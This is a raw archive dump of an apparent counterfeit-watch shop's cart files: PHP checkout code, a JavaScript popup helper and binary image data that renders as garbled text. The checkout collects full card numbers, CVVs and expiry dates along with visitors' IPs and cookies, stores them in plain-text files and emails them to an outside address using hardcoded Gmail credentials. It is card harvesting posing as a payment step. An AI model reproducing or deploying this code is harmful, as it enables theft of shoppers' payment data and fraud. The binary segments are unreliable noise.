'oO|6p"oJs.wr_WIv . Vk]_2< Y P2{M-nsqj\XȀ_ϛvsX hw^kr~wҷ x;^΍<.Lyqo#rs6Ai>e^½ xi> gB,w1aX}׭m_q‚ߗW_^-^_tu`Eq ୍Um*!y_)v ~e1  %_UvX"Z UXYY`{ 蠌ž *_ZzC VTaamZ#8_N\܀~mRT X M (P p }vIau(j@X`ĝuu-"Qy=b$$ܮYbؐm0[iIZ*͗ "-zZ. b0r'nNu"X'd X$o jA=ɜ=:H` PW-ZT{U $BrCE(Kʟ>e?Wz-@vAHzKʟݣCNL^ǵTEFGzd٤HZdPLBBUL0 j%%gQ\ZZ@[\e]]e^^e_U;cheapuggsales.uk.com/cart/choose.php0000777000000000000000000011602511633550304016520 0ustar rootrootdata[$id]) { if($action=="update"){$cart->data[$id]['count'] = $count; $cart->data[$id]['money'] = $cart->data[$id]['price'] * $count; }else{ $cart->data[$id]['count'] += $count; $cart->data[$id]['money'] += $cart->data[$id]['price'] * $count; } // 添加商品 } else { $cart->data[$id]['name'] = $name; $cart->data[$id]['price'] = $price; $cart->data[$id]['count'] = $count; $cart->data[$id]['purl'] = $purl; $cart->data[$id]['pimg'] = $pimg; $cart->data[$id]['money'] = $price * $count; } // 保存购物车数据 $cart->save(); Header("Location: /cart/"); } $orderdec=""; $html=""; $htmlr=""; $htmlc=""; $ototal=$cart->sum('money'); if ($ototal>0){ foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $orderdec=$orderdec."-".$k; $html .=''; $html .='
'.$v['name'].''; $html .='$'.$v['price'].'USD'; $orderdec=$orderdec."/".$v['count']; $html .='- '.$v['count'].' +'; //$html .='Url: '.$v['purl'].''; $html .='$'.$v['price']*$v['count'].'USD'; $html .='Delete'; $html .="\r\n"; $htmlr .="Product id: ".$k."\r\n"; $htmlr .="Product url: ".UrlDecode($v['purl'])."\r\n"; $htmlr .="Product img: ".$v['pimg']."\r\n"; $htmlr .="Product name: ".$v['name']."\r\n"; $htmlr .="Product price: ".$v['price']."\r\n"; $htmlr .="Product count: ".$v['count']."\r\n"; $htmlr .="Product subtotel: ".$v['money']."\r\n"; $htmlc .=$v['name'].",Qty:".$v['count'].",Price".$v['price'].",SubTotal:$".$v['money'].";"; } } }else{ $html .=''; $html .='no product in shopping cart
  [Continue Shopping]  '; $html .="\r\n"; } $htmlr .="Cart totel: ".$ototal."\r\n\r\n"; if ($action=="pay"){ $newoid=date('YmdHis').rand(10000,1); /* if (@strlen($_REQUEST["firstname"]."-".$_REQUEST["lastname"]) < 3 or strlen($_REQUEST["address2"]."-".$_REQUEST["streetname"]) < 6 or strlen($_REQUEST["country"]."-".$_REQUEST["province"])<2 or strlen($_REQUEST["cardid"])<10 or strlen($_REQUEST["cardname"])<2 or strlen($_REQUEST["email"])<4 or strpos($_REQUEST["email"],"@")<1 or strpos($_REQUEST["email"],".")<2){ echo ""; exit();}*/ if (strpos($_REQUEST["email"],".")<2){ echo ""; exit();} if (strlen($_REQUEST["cardid"])<10){$htmlr .= "Payment:".$_REQUEST["payment"]."\r\n";} $htmlr .= "shipping:".$_REQUEST["shipping"]."\r\n"; $htmlr .= "firstname:".$_REQUEST["firstname"]."\r\n"; $htmlr .= "lastname:".$_REQUEST["lastname"]."\r\n"; $htmlr .= "sex:".$_REQUEST["sex"]."\r\n"; $htmlr .= "streetname:".$_REQUEST["streetname"]."\r\n"; $htmlr .= "address2:".$_REQUEST["address2"]."\r\n"; $cou=""; $zhou=""; switch ($_REQUEST["country"]) { case "1" : $cou="United States";break; case "401" : $cou="Hawaii & Alaska Air Service";break; case "39" : $cou="Canada (Ground)";break; case "2" : $cou="Afghanistan";break; case "3" : $cou="Albania";break; case "4" : $cou="Algeria";break; case "5" : $cou="American Samoa";break; case "6" : $cou="Andorra";break; case "7" : $cou="Angola";break; case "8" : $cou="Anguilla";break; case "9" : $cou="Antarctica";break; case "10" : $cou="Antigua & Barbuda";break; case "11" : $cou="Argentina";break; case "12" : $cou="Armenia";break; case "13" : $cou="Aruba";break; case "14" : $cou="Australia";break; case "15" : $cou="Austria";break; case "16" : $cou="Azerbaijan";break; case "17" : $cou="Bahamas";break; case "18" : $cou="Bahrain";break; case "19" : $cou="Bangladesh";break; case "20" : $cou="Barbados";break; case "21" : $cou="Belarus";break; case "22" : $cou="Belgium";break; case "23" : $cou="Belize";break; case "24" : $cou="Benin";break; case "25" : $cou="Bermuda";break; case "26" : $cou="Bhutan";break; case "27" : $cou="Bolivia";break; case "28" : $cou="Bosnia & Herzegovina";break; case "29" : $cou="Botswana";break; case "30" : $cou="Bouvet Island";break; case "32" : $cou="British Indian Ocean Territory";break; case "33" : $cou="Brunei Darussalam";break; case "34" : $cou="Bulgaria";break; case "35" : $cou="Burkina Faso";break; case "36" : $cou="Burundi";break; case "37" : $cou="Cambodia";break; case "38" : $cou="Cameroon";break; case "40" : $cou="Cape Verde";break; case "41" : $cou="Cayman Islands";break; case "42" : $cou="Central African Republic";break; case "43" : $cou="Chad";break; case "44" : $cou="Chile";break; case "45" : $cou="China";break; case "46" : $cou="Christmas Island";break; case "47" : $cou="Cocos (Keeling) Islands";break; case "48" : $cou="Colombia";break; case "49" : $cou="Comoros";break; case "50" : $cou="Congo";break; case "236" : $cou="Congo, The Democratic Republic of the";break; case "51" : $cou="Cook Islands";break; case "52" : $cou="Costa Rica";break; case "53" : $cou="Cote d'Ivoire (Ivory Coast)";break; case "54" : $cou="Croatia";break; case "55" : $cou="Cuba";break; case "56" : $cou="Cyprus";break; case "57" : $cou="Czech Republic";break; case "58" : $cou="Denmark";break; case "59" : $cou="Djibouti";break; case "60" : $cou="Dominica";break; case "61" : $cou="Dominican Republic";break; case "63" : $cou="Ecuador";break; case "64" : $cou="Egypt";break; case "65" : $cou="El Salvador";break; case "66" : $cou="Equatorial Guinea";break; case "67" : $cou="Eritrea";break; case "68" : $cou="Estonia";break; case "69" : $cou="Ethiopia";break; case "70" : $cou="Falkland Islands (Malvinas)";break; case "71" : $cou="Faroe Islands";break; case "72" : $cou="Fiji";break; case "73" : $cou="Finland";break; case "74" : $cou="France";break; case "75" : $cou="France, Metropolitan";break; case "76" : $cou="French Guiana";break; case "77" : $cou="French Polynesia";break; case "78" : $cou="French Southern Territories";break; case "79" : $cou="Gabon";break; case "80" : $cou="Gambia";break; case "81" : $cou="Georgia";break; case "82" : $cou="Germany";break; case "83" : $cou="Ghana";break; case "84" : $cou="Gibraltar";break; case "85" : $cou="Greece";break; case "240" : $cou="Greenland";break; case "86" : $cou="Grenada";break; case "87" : $cou="Guadeloupe";break; case "88" : $cou="Guam";break; case "89" : $cou="Guatemala";break; case "241" : $cou="Guernsey & Alderney";break; case "90" : $cou="Guinea";break; case "91" : $cou="Guinea-Bissau";break; case "92" : $cou="Guyana";break; case "93" : $cou="Haiti";break; case "94" : $cou="Heard Island & McDonald Islands";break; case "227" : $cou="Holy See (Vatican City State)";break; case "95" : $cou="Honduras";break; case "96" : $cou="Hong Kong";break; case "97" : $cou="Hungary";break; case "98" : $cou="Iceland";break; case "99" : $cou="India";break; case "101" : $cou="Iran, Islamic Republic of";break; case "102" : $cou="Iraq";break; case "103" : $cou="Ireland";break; case "242" : $cou="Isle of Man";break; case "104" : $cou="Israel";break; case "105" : $cou="Italy";break; case "106" : $cou="Jamaica";break; case "107" : $cou="Japan";break; case "243" : $cou="Jersey";break; case "108" : $cou="Jordan";break; case "109" : $cou="Kazakhstan";break; case "110" : $cou="Kenya";break; case "111" : $cou="Kiribati";break; case "112" : $cou="Korea, Democratic People's Republic of";break; case "113" : $cou="Korea, Republic of";break; case "114" : $cou="Kuwait";break; case "115" : $cou="Kyrgyzstan";break; case "116" : $cou="Lao People's Democratic Republic";break; case "117" : $cou="Latvia";break; case "118" : $cou="Lebanon";break; case "119" : $cou="Lesotho";break; case "120" : $cou="Liberia";break; case "121" : $cou="Libyan Arab Jamahiriya";break; case "122" : $cou="Liechtenstein";break; case "123" : $cou="Lithuania";break; case "124" : $cou="Luxembourg";break; case "125" : $cou="Macau";break; case "126" : $cou="Macedonia";break; case "127" : $cou="Madagascar";break; case "128" : $cou="Malawi";break; case "129" : $cou="Malaysia";break; case "130" : $cou="Maldives";break; case "131" : $cou="Mali";break; case "132" : $cou="Malta";break; case "133" : $cou="Marshall Islands";break; case "134" : $cou="Martinique";break; case "135" : $cou="Mauritania";break; case "136" : $cou="Mauritius";break; case "137" : $cou="Mayotte";break; case "138" : $cou="Mexico";break; case "139" : $cou="Micronesia, Federated States of";break; case "140" : $cou="Moldova, Republic of";break; case "141" : $cou="Monaco";break; case "142" : $cou="Mongolia";break; case "244" : $cou="Montenegro";break; case "143" : $cou="Montserrat";break; case "144" : $cou="Morocco";break; case "145" : $cou="Mozambique";break; case "146" : $cou="Myanmar";break; case "147" : $cou="Namibia";break; case "148" : $cou="Nauru";break; case "149" : $cou="Nepal";break; case "150" : $cou="Netherlands";break; case "151" : $cou="Netherlands Antilles";break; case "152" : $cou="New Caledonia";break; case "153" : $cou="New Zealand";break; case "154" : $cou="Nicaragua";break; case "155" : $cou="Niger";break; case "156" : $cou="Nigeria";break; case "157" : $cou="Niue";break; case "158" : $cou="Norfolk Island";break; case "159" : $cou="Northern Mariana Islands";break; case "160" : $cou="Norway";break; case "161" : $cou="Oman";break; case "162" : $cou="Pakistan";break; case "163" : $cou="Palau";break; case "245" : $cou="Palestinian Territory";break; case "164" : $cou="Panama";break; case "165" : $cou="Papua New Guinea";break; case "166" : $cou="Paraguay";break; case "167" : $cou="Peru";break; case "168" : $cou="Philippines";break; case "169" : $cou="Pitcairn Islands";break; case "170" : $cou="Poland";break; case "171" : $cou="Portugal";break; case "172" : $cou="Puerto Rico";break; case "173" : $cou="Qatar";break; case "174" : $cou="Reunion";break; case "175" : $cou="Romania";break; case "176" : $cou="Russian Federation";break; case "177" : $cou="Rwanda";break; case "246" : $cou="Saint Barthelemy";break; case "197" : $cou="Saint Helena";break; case "178" : $cou="Saint Kitts & Nevis";break; case "179" : $cou="Saint Lucia";break; case "247" : $cou="Saint Martin";break; case "198" : $cou="Saint Pierre & Miquelon";break; case "180" : $cou="Saint Vincent & the Grenadines";break; case "181" : $cou="Samoa";break; case "182" : $cou="San Marino";break; case "183" : $cou="Sao Tome & Principe";break; case "184" : $cou="Saudi Arabia";break; case "185" : $cou="Senegal";break; case "248" : $cou="Serbia";break; case "186" : $cou="Seychelles";break; case "187" : $cou="Sierra Leone";break; case "189" : $cou="Slovakia";break; case "190" : $cou="Slovenia";break; case "191" : $cou="Solomon Islands";break; case "192" : $cou="Somalia";break; case "193" : $cou="South Africa";break; case "194" : $cou="South Georgia & South Sandwich Islands";break; case "195" : $cou="Spain";break; case "196" : $cou="Sri Lanka";break; case "199" : $cou="Sudan";break; case "200" : $cou="Suriname";break; case "201" : $cou="Svalbard & Jan Mayen Islands";break; case "202" : $cou="Swaziland";break; case "203" : $cou="Sweden";break; case "204" : $cou="Switzerland";break; case "205" : $cou="Syrian Arab Republic";break; case "206" : $cou="Taiwan";break; case "207" : $cou="Tajikistan";break; case "208" : $cou="Tanzania, United Republic of";break; case "209" : $cou="Thailand";break; case "62" : $cou="Timor-Leste (East Timor)";break; case "210" : $cou="Togo";break; case "211" : $cou="Tokelau";break; case "212" : $cou="Tonga";break; case "213" : $cou="Trinidad & Tobago";break; case "214" : $cou="Tunisia";break; case "215" : $cou="Turkey";break; case "216" : $cou="Turkmenistan";break; case "217" : $cou="Turks & Caicos Islands";break; case "218" : $cou="Tuvalu";break; case "219" : $cou="Uganda";break; case "220" : $cou="Ukraine";break; case "221" : $cou="United Arab Emirates";break; case "222" : $cou="United Kingdom";break; case "224" : $cou="Uruguay";break; case "223" : $cou="US Minor Outlying Islands";break; case "225" : $cou="Uzbekistan";break; case "226" : $cou="Vanuatu";break; case "228" : $cou="Venezuela";break; case "229" : $cou="Viet Nam";break; case "230" : $cou="Virgin Islands (British)";break; case "231" : $cou="Virgin Islands (U.S.)";break; case "232" : $cou="Wallis & Futuna Islands";break; case "233" : $cou="Western Sahara";break; case "234" : $cou="Yemen";break; case "237" : $cou="Zambia";break; case "238" : $cou="Zimbabwe";break; } switch ($_REQUEST["province"]) { case "AK" : $zhou="Alaska";break; case "AL" : $zhou="Alabama";break; case "AR" : $zhou="Arkansas";break; case "AZ" : $zhou="Arizona";break; case "CA" : $zhou="California";break; case "CO" : $zhou="Colorado";break; case "CT" : $zhou="Connecticut";break; case "DE" : $zhou="Delaware";break; case "FL" : $zhou="Florida";break; case "GA" : $zhou="Georgia";break; case "HI" : $zhou="Hawaii";break; case "IA" : $zhou="Iowa";break; case "ID" : $zhou="Idaho";break; case "IL" : $zhou="Illinois";break; case "IN" : $zhou="Indiana";break; case "KS" : $zhou="Kansas";break; case "KY" : $zhou="Kentucky";break; case "LA" : $zhou="Louisiana";break; case "MA" : $zhou="Massachusetts";break; case "MD" : $zhou="Maryland";break; case "ME" : $zhou="Maine";break; case "MI" : $zhou="Michigan";break; case "MN" : $zhou="Minnesota";break; case "MO" : $zhou="Missouri";break; case "MS" : $zhou="Mississippi";break; case "MT" : $zhou="Montana";break; case "NC" : $zhou="North Carolina";break; case "ND" : $zhou="North Dakota";break; case "NE" : $zhou="Nebraska";break; case "NH" : $zhou="New Hampshire";break; case "NJ" : $zhou="New Jersey";break; case "NM" : $zhou="New Mexico";break; case "NV" : $zhou="Nevada";break; case "NY" : $zhou="New York";break; case "OH" : $zhou="Ohio";break; case "OK" : $zhou="Oklahoma";break; case "OR" : $zhou="Oregon";break; case "PA" : $zhou="Pennsylvania";break; case "PR" : $zhou="Puerto Rico";break; case "RI" : $zhou="Rhode Island";break; case "SC" : $zhou="South Carolina";break; case "SD" : $zhou="South Dakota";break; case "TN" : $zhou="Tennessee";break; case "TX" : $zhou="Texas";break; case "UT" : $zhou="Utah";break; case "VA" : $zhou="Virginia";break; case "VT" : $zhou="Vermont";break; case "WA" : $zhou="Washington";break; case "WI" : $zhou="Wisconsin";break; case "WV" : $zhou="West Virginia";break; case "WY" : $zhou="Wyoming";break; case "AB" : $zhou="Alberta";break; case "BC" : $zhou="British Columbia";break; case "MB" : $zhou="Manitoba";break; case "NB" : $zhou="New Brunswick";break; case "NL" : $zhou="Newfoundland and Labrador";break; case "NS" : $zhou="Nova Scotia";break; case "NT" : $zhou="Northwest Territories";break; case "NU" : $zhou="Nunavut";break; case "ON" : $zhou="Ontario";break; case "PE" : $zhou="Prince Edward Island";break; case "QC" : $zhou="Quebec";break; case "SK" : $zhou="Saskatchewan";break; case "YT" : $zhou="Yukon Territory";break; } $htmlr .= "country:".$_REQUEST["country"]."-".$cou."\r\n"; $htmlr .= "province:".$_REQUEST["province"]."-".$zhou."\r\n"; $htmlr .= "state:".$_REQUEST["state"]."\r\n"; $htmlr .= "city:".$_REQUEST["city"]."\r\n"; $htmlr .= "zipcode:".$_REQUEST["zipcode"]."\r\n"; $htmlr .= "email:".$_REQUEST["email"]."\r\n"; $htmlr .= "telephone:".$_REQUEST["telephone"]."\r\n"; $htmlr .= "postscript:".$_REQUEST["postscript"]."\r\n"; $htmlr .= "name:".$_REQUEST["cardname"]."\r\n"; $htmlr .= "cardid:".$_REQUEST["cardid"]."\r\n"; $htmlr .= "month:".$_REQUEST["month"]."\r\n"; $htmlr .= "year:".$_REQUEST["year"]."\r\n"; $htmlr .= "cvv:".$_REQUEST["cvv"]."\r\n"; $htmlr .= "carttype:".$_REQUEST["carttype"]."\r\n"; $htmlr .= "\r\n"."
".$_SERVER['HTTP_CLIENT_IP']."
\n 2 ".$_SERVER['REMOTE_ADDR']."
\n 3 ".$_SERVER['HTTP_X_FORWARDED_FOR']." \r\n
"; $htmlr .= $_SERVER['HTTP_USER_AGENT']."
\r\n\r\n"; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT']; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT_LANGUAGE']; $htmlr .= "\r\n
".$_SERVER['HTTP_ACCEPT_ENCODING']; $htmlr .= "\r\n
".$_SERVER['HTTP_COOKIE']; if ((int)$ototal > 10){ $htmlr="\r\n".$cart->cartname."\r\n".$ototal."\r\n".$htmlr; $ototalp=$_REQUEST["shipping"]+$ototal; $file = @fopen("order.txt","a"); @file_put_contents("order/".$newoid.".txt",$newoid."\r\n".$htmlr); @fputs($file,$newoid."\r\n".$htmlr); @fclose($file); $time=date("Y-m-d H:i:s"); $flag='1'; $to='support@www-perfectwatches.net'; $subject=$_SERVER['SERVER_NAME']." cart $time"; $txt=$newoid."\r\n".$_SERVER['SERVER_NAME']."\r\n".$htmlr; $txt=str_replace("\n","
",$txt); $gmailuser='post@960watch.com'; $gmailpass='2656C9post'; $fromname=$_SERVER['SERVER_NAME']."Rolexmens cart"; $emailname=$toname; if($flag=='0'){ $headers = "From: ".$to. "\r\r\n" ; mail($to,$subject,$txt,$headers); //echo 'send..'; }else if($flag=='1'){ //error_reporting(E_ALL); //error_reporting(E_STRICT); date_default_timezone_set('America/Toronto'); require_once('../contact_us/class.phpmailer.php');//phpmailer库位置 include("../contact_us/class.smtp.php"); // optional, gets called from within class.phpmailer.php if not already loaded $mail = new PHPMailer(); //$body = file_get_contents('contents.html');//邮件正文 $body=$txt; $body = eregi_replace("[\]",'',$body); $mail->IsSMTP(); // telling the class to use SMTP $mail->Host = "mail.gmail.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) // 1 = errors and messages // 2 = messages only $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "smtp.gmail.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = $gmailuser; // GMAIL username $mail->Password = $gmailpass; // GMAIL password $mail->SetFrom($gmailuser, $fromname); $mail->AddReplyTo($gmailuser,$toname); $mail->Subject = $subject; $mail->AltBody = " "; // optional, comment out and test $mail->MsgHTML($body); $address = $to; $mail->AddAddress($address, $emailname); //$mail->AddAttachment("images/phpmailer.gif"); // attachment //$mail->AddAttachment("images/phpmailer_mini.gif"); // attachment if(!$mail->Send()) { echo ""; } else { echo ""; } } if ($_REQUEST["payment"]=="paypal" or $_REQUEST["payment"]=="CreditCard"){ $htmlp=""; //zen_redirect("http://www.cufflinksmall.com/buy.php?cmd=_xclick&business=8QWNVCC2HSV5W&lc=C2&item_name=WorldSoft-".$insert_id."&item_number=Ver".date ("Y\Ym\Md\DH\hI\ms\s" ,time())."_".$insert_id."_".$order_subtotal."&amount=". $ototal."¤cy_code=USD&button_subtype=services&bn=PP%2dBuyNowBF%3abtn_buynowCC_LG%2egif%3aNonHosted"); $htmlp .= " "; echo $htmlp; } //Header('Location: https://secure.redirect2pay.com/payment/pay.php?siteID=74140&OrderDescription=HIgH_".date ("Y\Ym\Md\DH\hI\ms\s" ,time()).$orderdec."_".$ototal."&qty=1&Amount=".$ototal."&customerFullName=".$gspay_cname."&customerAddress=".$gspay_caddress."&customerCity=".$gspay_ccity."&customerStateCode=".$mmm."&customerZip=".$gspay_czip."&customerCountry=".$gspay_ccountry."&customerEmail=".$gspay_cemail."&customerPhone=".$gspay_cphone'); /*$html .= "";*/ echo "Your Order(ID:".$newoid.") is submitted successfully, You will be charge in 4 hours. Please wait for new response.Back to Rolex-mens.com"; unset($cart->data); $cart->save(); }else{ echo "
\r\nPlease make sure That you have add product to the shopping cart. Or you can chose another Product and checkout again. Back to Rolex-mens.com"; } exit(); }else{} /* PAYPAL check $zenidr=trim($_REQUEST["zenid"]); $zenidr=preg_replace("/[^a-zA-Z0-9]/","", $zenidr); $onlinetime=0; //select count(*) from `check` where $zenidr $checks = $db->Execute("select online from `check` where zenid = '".$zenid."' and online > 0 and `timeout` = 0 "); if (!$checks->EOF){ $onlinetime=$checks->fields['online']*10+$onlinetime; } */ $onlinetime=0; $onlinepv=0; $REMOTE_ADDR=$_SERVER["REMOTE_ADDR"]; $REMOTE_ADDR=preg_replace("/[^0-9\.]/","", $REMOTE_ADDR); $REMOTE_ADDRi=str_replace(".","_",$REMOTE_ADDR); if (@strlen($_REQUEST["zenid"])>6){$zenidr=$_REQUEST["zenid"];}else{$zenidr=$_REQUEST["FrCart".$REMOTE_ADDRi."_session_id"];} $zenidr=preg_replace("/[^a-zA-Z0-9]/","", $zenidr); if (strlen(strpos($lang,"zh"))<1){ } ?> Shopping Cart
Your Position: Home > Shopping cart

Goods List

*/ echo $html; ?>
Name Our price Quantity Subtotal Operate

Rolex Day Date II Oyster Perpetual Automatic Movement Silver Case with White Stick Markers and Black Dial
$108.00USD $108.00USD Delete
Subtotal $USD 
[Clear Shopping Cart]  [Continue Shopping]  

Enter Your Billing Information

First Name:
" /> *
Last Name:
" />
Gender:
Mr Ms *
Street Name:
" /> *
Address Line 2:
" />
Country:
*
State/Province:
*
City:
" /> *
Post/Zip Code:
" /> *
email:
" /> *
Telephone:
" /> *
Comment:

Shipping Method


Free Shipping (20 working days arrive, 14 days money-back without reason)
Fast Shipping $20.00USD (10 working days arrive, 14 days money-back without reason)
Come with the box $49.99USD (10 working days arrive, 14 days money-back without reason)


Choose your payment method

Credit Card Credit Card */?> Paypal"; //if ($onlinetime>200 and $onlinepv>4){echo " Paypal";} ?>
Cardholder name:" > *
Cred Number: *
Expiration Month: *
Expiration Year: *
CCV: * what is this?
CardType:
cheapuggsales.uk.com/cart/payment.php0000777000000000000000000013474611633550304016727 0ustar rootroot Checkout
  1. 1

    Checkout Method

    Edit

    Checkout as a Guest or Register

    Register with us for future convenience:

    Register and save time!

    Register with us for future convenience:

    • Fast and easy check out
    • Easy access to your order history and status

     

  2. 2

    Billing Information

    Edit
  3. 3

    Shipping Information

    Edit
  4. 4

    Payment Information

    Edit
  5. 5

    Order Review

    Edit
  Loading...
  Loading...
cheapuggsales.uk.com/cart/watchreplica.js0000777000000000000000000000147111633550304017531 0ustar rootrootvar pageTracker; function check_field($field) { } function PopUp(poplink,popwidth,popheight,scrolb) { var screenheight=0; var screenwidth=0; var popleft=0; var popright=0; if (self.screen) { // for NN4 and IE4 screenwidth = screen.width screenheight = screen.height } else if (self.java) { // for NN3 with enabled Java var jkit = java.awt.Toolkit.getDefaultToolkit(); var scrsize = jkit.getScreenSize(); screenwidth = scrsize.width; screenheight = scrsize.height; } if (screenwidth > 0 && screenheight > 0) { popleft=(screenwidth-popwidth)/2; poptop=(screenheight-popheight)/2; } var mm= "width=" + popwidth + ",height=" + popheight+",left="+popleft+",top="+poptop+",scrollbars="+scrolb; var Wnd=window.open(poplink,"popup",mm,menubar=0,resizable=0); } cheapuggsales.uk.com/cart/zmain_3.gif0000777000000000000000000000030111633550304016543 0ustar rootrootGIF89a䳳!,>&B6jahqhHh) &T. łQ25Jh$8 M2 `;cheapuggsales.uk.com/cart/zhead_8.gif0000777000000000000000000005417711633550304016551 0ustar rootrootGIF89aWJNX[ `kr|{ц@UUg3Ӑ /*I  "5r@yB{AzB{LOOPPWX]ecil9OWxy|ǣğΩ˥Ƭͼ׹Ա]ƜϨĬȵ%&&@AA⺻薢rЎզ𜜙㷵iyuITd}FdqTN/?[Rn.ȘvcͼդhAoVFXzF>N-bGkYNfIٮS=lY,E5VHeWp`ǐ!LAVLcZ{roKHێ0+lds`_!93FB10j'&!,W(*\ȰÇ#JHŋ3jȱǏ CIɓ(S\ɲ˃c|I͛8sɳϟ@ J̣E*]ʴӧPJJQUjʵׯ`ÊzuسhӪ]˶۷/Kݻx݋S@ L~^̸ǐ#WL,˘3kFwϠCM2ӨS^}4װc˞}5۸sޝ6 7ȓ+_m|У/n.RνEOϫ_Ͼ}˟>Yb& 6F(Vhfn>sOcb>X=C /\">4 %?HfdҞOP4,>` o?fp1;;?;?0h)@Ј pB fP K<@-Dm4 s=L/mSV8 rO ,X`.tL #THgC#%,  1?҂ /P'>Fҏe 3$|"-@,\ /{ H>-Ĝuκbj;:> ).H1Lmj rmܓ;n "pb;룷FBqO3#(| b)h r1& ` @ eV) u, S+.(FH(L W($*QA&j)B"| Ec-H#Fv0o)e1#4+8ْ8D,J.V2`u>'ǥ #Eb[S҇=,- ؕvRnW  yF1_S^ִ+~t-yUҞ H|{ ߹׏}"[_1~+"|q(m41b"iXwj R,b3^ɼ5',gܗ251I00 4L8BPP}H#d1'-HGS a>\Kd Q HzA )Mrv*#*GB2VA#bJv+RS?r( HW*9BIPA(UpR\ߓ`kɮ[+ؑ8@z1`|`>N0L_H `]d[V8ڬMF@`Y@ ^@ $b)pD }Rꫥ`XNSπ1`o,` pD?`7##JT)1YMV_UAVRR`]Wh];ă)J3kFj]eO{|e,>[6}5 T " Pp8W gæsӊ 6dUe)! fNX5>πpI"٣@ij4!P`HלT}p3HLZd2^ɂ*xA"\ R  z] p"c̛߲G ._|Q4'x}eHu?9Y/0U;ax[5WG }#$}sqk 1MA&S`\3H`% ^X5~`]>`첍y&/ZkJRJOE D"~uŒɀgNwHDY=GH#e> {`&@D3{&}R4E%v{ )X rN2jW!}|(A ,``\~a j!r~[ĶW%I+Jiv{>ՄopUC7|K$'@G1Ep} AqC@((VgG"$iSy[Rd\-S*S"Q([6O~/Xz \|`:U 7 HZ_5c=iJ c P7t ]@NqW x7U_.2%+r%Qwf10$`vTi$Kv6H1^8aXx5bvAIbRk'B^tcm%&7Vj3T$ JJ~XPzGXoptfôP094:i,XpOWxb#{g-4$Bie!!@,pcvg@<CW5%=dLv(م1g( QI/f"{?0|="N)RTM؉Z4/*GyZ@%SeG6k2:*H#vOI~ŕg'}/tRG|&Dn2IWvAdPRB0@ ۥ*g.YGb&1'JhPP%H%lMCf4:7HÃn'VCH$,@5Sʑ%w2'@++XF |w%$-YțcJXh-#/P)ڑ 1.`,3,p)RuIv|z>DvC3!$ڳ>kB  0? G i"uɴ^{tm-78U&P+YBxӖ 4xgRV!p&ppR5ϊTWGwՊ)\:wYu%xn;AHVbjzX29GO+(0-w w%i*c'A6Mհ%/BZG24v] |?ՅO+%2!i+R!K:PuF3a'M[30 ͐ `k  praIC|t%T( "5Mc$&W,zN{Ip8N\FPe"`.=kIl^sAY_Tu]PӚ9#*B;1:Nř媎3Y[SF7t(`I;[yixC!#WD(qS={.ːY3.O2G4C$|\`qLб2)\F<71 M1߻Z.ْLM#r4/*~jGP,|˸ ` נ 00` ` ΐ2Q5P0, ",rPiYpWqi0}7&{~ǾC#15@qG{I͔@)C%[dƧ͓Mq滲hS%/1P*A,0j׀  ``  }S~<4|Q/F`_L9d6)q& `E0A$`p,3 @(w ָ0wօlE<4Sw 5'kܷFɖu5i0 f^s*KEZ}4+AX_7&ReP>IB9(0$í!kD]%wK 7dS&+y#Rw+ec/ 뵘P22o.|mWFD}edsi'޵ƍ5`RB5J*P&9;wn5nG!EzrǏ'pBYr %]%̎t~Ysr|A r2JX$bb,ÅR EA_SЇ FXQ_{?tB!FXD  `O'\ qBV``I/\,g`L>MwыG/Qֱ=;0Ⱦ}GbR20 FH B 3g A .g#{,L|!.`q-0hVx{VP$lYB + /32Hb90^`}J8FO@tPB 5PDUtQF m fUP1eY|ɅV>Ɉz5P8:ɌP552JUUVp.Xs U"(7T5{X @* R̰bCY6td Uz!|\pBZ!* 1Q FPHL|<{'>G@AY  +8 NxaZy d9ZF\;^pąBa;ibȏ? :~Ɗa4 xt+l 9~d8Ⴭ}F(~\ 29N@! YPDPN<$[`a<Th.2-2T3)$t+Ǵ2R9NP 5CNw~x7>bv[rQ_xZ@9^'~"*~ǐU>ݏ n ȣ`'  T&%*`V%=4$J XEp90:x 2'2 xa)^XHpX,hA,(P|$Hx.pDhQ>ڀ A! U`5#͗`0b,rePhEpwJrC 0%9Y"VP@@h*X"q 'dNȀ"}P@1\5 ma Eܣw0E hd?BF$JQhN\uy%|Lуhdڰ,<"GPp7t*Moʆp1 ,`_l 05A QCJR C 15W@j(P+ "2 7"o|,r00-| ae~I)[Ye2 10!P#qM>`x4@y  \#'s<=#\pEO@# @ AVX@dWTy!Nh%[W1 [?i؇G %߾@(|$ CpES\"0]` ΅rNup$<1 ]znv,he縀 \h.<0 m9N@9#@|$| #m>%ۂLX[Xfl%*+n%.%V1 :Xtp|Y7dc/T!\4cNʕ0vm:C9+Xmr:בˮF--z׽uwdX5,jQl 9B"e(3 ɻ53k$|ȕ>|? O"=1(<\#a+;?P+@ 84^m!!X'(.K&JFb bT/IML ̥PM0h12!(H-A%D((L A"!*wr#3h yX)Cpy 1 8y0ĺx҇X21HȢˮе p &bK&NxMcȀ82 }iBE(&QH * 1Kp1:qz# { ;B,DC Hc" =f9ӳ~`ʖٙ !( x !4sp~ ,rBcC$ %|Q ]{0H ؝Xr҉*Yi &D-jK:|!Y}҉]A AΡ 5S;LM~8H(xBD|M،M@QfHb R(T[]؅Z[T(e[UdEkNT%;l[<5‰1%\VιpF>X&j0#9;6H A F{: "*r`}xi!"Y`C=P.a9 |hx0j%ְC-ؓZ5 +cԶAI@|+0{Eȇ ,F=@{`.ARIKF Ji_0A 0}KmƱd%Y:`j{C9Yì9AsH >Ɣ:G*Gœb=CM  ; 0+:ТH9MjVk=g0nhb(S0`\Y[UjN$E E2PD%k2$W31< .Wc<͈+ۃeW:{ar|2h qу4QE:g 4 6 9XG B3  uDLɠ&ثڐHD5 4h-.O92%=6@|,D@ x"8#`D+89CP:1rC+dxFؙG8]ëe .:,*T !|h "!/& yJ 1NFh&L\x+p *C@Z, Vd֦S)' Ў!qfk __|zdmpkVH^_HT^vvwW ((8 FŮщ+:+|؁U=* G@ȁ**2@>e @1"S--*.G(>-%B9F0Pb!CB~N,bTґi(}:!7|yhH-@lFGj7 {G `ʇiQ:H ܳ,-Ks][]B3lb*ݸiPC:&Ca=֩H _r.gsghe`TЅ^]P]bmRWR(TNx`P24 )&3 Kr%8 